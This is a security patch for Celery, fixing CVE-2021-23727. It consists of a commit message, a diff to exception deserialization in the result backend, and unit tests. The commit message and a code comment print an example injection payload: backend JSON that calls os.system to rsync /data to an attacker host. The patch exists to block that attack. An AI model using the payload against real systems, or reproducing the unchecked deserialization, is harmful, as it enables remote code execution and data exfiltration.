Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).

When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in #4836.
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
`os.system("rsync /data attacker@192.168.56.100:~/data")`
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so:
```json
{
      "exc_module": "os",
      'exc_type': "system",
      "exc_message": "rsync /data attacker@192.168.56.100:~/data"
}
```

According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the tasks's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.

celery/backends/base.py

@@ -25,7 +25,8 @@
 from celery.app.task import Context
 from celery.exceptions import (BackendGetMetaError, BackendStoreError,
                                ChordError, ImproperlyConfigured,
-                               NotRegistered, TaskRevokedError, TimeoutError)
+                               NotRegistered, SecurityError, TaskRevokedError,
+                               TimeoutError)
 from celery.result import (GroupResult, ResultBase, ResultSet,
                            allow_join_result, result_from_tuple)
 from celery.utils.collections import BufferMap
@@ -338,34 +339,73 @@ def prepare_exception(self, exc, serializer=None):
 
     def exception_to_python(self, exc):
         """Convert serialized exception to Python exception."""
-        if exc:
-            if not isinstance(exc, BaseException):
-                exc_module = exc.get('exc_module')
-                if exc_module is None:
-                    cls = create_exception_cls(
-                        from_utf8(exc['exc_type']), __name__)
-                else:
-                    exc_module = from_utf8(exc_module)
-                    exc_type = from_utf8(exc['exc_type'])
-                    try:
-                        # Load module and find exception class in that
-                        cls = sys.modules[exc_module]
-                        # The type can contain qualified name with parent classes
-                        for name in exc_type.split('.'):
-                            cls = getattr(cls, name)
-                    except (KeyError, AttributeError):
-                        cls = create_exception_cls(exc_type,
-                                                   celery.exceptions.__name__)
-                exc_msg = exc['exc_message']
-                try:
-                    if isinstance(exc_msg, (tuple, list)):
-                        exc = cls(*exc_msg)
-                    else:
-                        exc = cls(exc_msg)
-                except Exception as err:  # noqa
-                    exc = Exception(f'{cls}({exc_msg})')
+        if not exc:
+            return None
+        elif isinstance(exc, BaseException):
             if self.serializer in EXCEPTION_ABLE_CODECS:
                 exc = get_pickled_exception(exc)
+            return exc
+        elif not isinstance(exc, dict):
+            try:
+                exc = dict(exc)
+            except TypeError as e:
+                raise TypeError(f"If the stored exception isn't an "
+                                f"instance of "
+                                f"BaseException, it must be a dictionary.\n"
+                                f"Instead got: {exc}") from e
+
+        exc_module = exc.get('exc_module')
+        try:
+            exc_type = exc['exc_type']
+        except KeyError as e:
+            raise ValueError("Exception information must include"
+                             "the exception type") from e
+        if exc_module is None:
+            cls = create_exception_cls(
+                exc_type, __name__)
+        else:
+            try:
+                # Load module and find exception class in that
+                cls = sys.modules[exc_module]
+                # The type can contain qualified name with parent classes
+                for name in exc_type.split('.'):
+                    cls = getattr(cls, name)
+            except (KeyError, AttributeError):
+                cls = create_exception_cls(exc_type,
+                                           celery.exceptions.__name__)
+        exc_msg = exc.get('exc_message', '')
+
+        # If the recreated exception type isn't indeed an exception,
+        # this is a security issue. Without the condition below, an attacker
+        # could exploit a stored command vulnerability to execute arbitrary
+        # python code such as:
+        # os.system("rsync /data attacker@192.168.56.100:~/data")
+        # The attacker sets the task's result to a failure in the result
+        # backend with the os as the module, the system function as the
+        # exception type and the payload
+        # rsync /data attacker@192.168.56.100:~/data
+        # as the exception arguments like so:
+        # {
+        #   "exc_module": "os",
+        #   "exc_type": "system",
+        #   "exc_message": "rsync /data attacker@192.168.56.100:~/data"
+        # }
+        if not isinstance(cls, type) or not issubclass(cls, BaseException):
+            fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
+            raise SecurityError(
+                f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")
+
+        # XXX: Without verifying `cls` is actually an exception class,
+        #      an attacker could execute arbitrary python code.
+        #      cls could be anything, even eval().
+        try:
+            if isinstance(exc_msg, (tuple, list)):
+                exc = cls(*exc_msg)
+            else:
+                exc = cls(exc_msg)
+        except Exception as err:  # noqa
+            exc = Exception(f'{cls}({exc_msg})')
+
         return exc
 
     def prepare_value(self, result):

t/unit/backends/test_base.py

@@ -1,3 +1,4 @@
+import re
 from contextlib import contextmanager
 from unittest.mock import ANY, MagicMock, Mock, call, patch, sentinel
 
@@ -11,7 +12,7 @@
 from celery.backends.base import (BaseBackend, DisabledBackend,
                                   KeyValueStoreBackend, _nulldict)
 from celery.exceptions import (BackendGetMetaError, BackendStoreError,
-                               ChordError, TimeoutError)
+                               ChordError, SecurityError, TimeoutError)
 from celery.result import result_from_tuple
 from celery.utils import serialization
 from celery.utils.functional import pass1
@@ -581,6 +582,31 @@ def test_exception_to_python_when_None(self):
         b = BaseBackend(app=self.app)
         assert b.exception_to_python(None) is None
 
+    def test_not_an_actual_exc_info(self):
+        pass
+
+    def test_not_an_exception_but_a_callable(self):
+        x = {
+            'exc_message': ('echo 1',),
+            'exc_type': 'system',
+            'exc_module': 'os'
+        }
+
+        with pytest.raises(SecurityError,
+                           match=re.escape(r"Expected an exception class, got os.system with payload ('echo 1',)")):
+            self.b.exception_to_python(x)
+
+    def test_not_an_exception_but_another_object(self):
+        x = {
+            'exc_message': (),
+            'exc_type': 'object',
+            'exc_module': 'builtins'
+        }
+
+        with pytest.raises(SecurityError,
+                           match=re.escape(r"Expected an exception class, got builtins.object with payload ()")):
+            self.b.exception_to_python(x)
+
     def test_exception_to_python_when_attribute_exception(self):
         b = BaseBackend(app=self.app)
         test_exception = {'exc_type': 'AttributeDoesNotExist',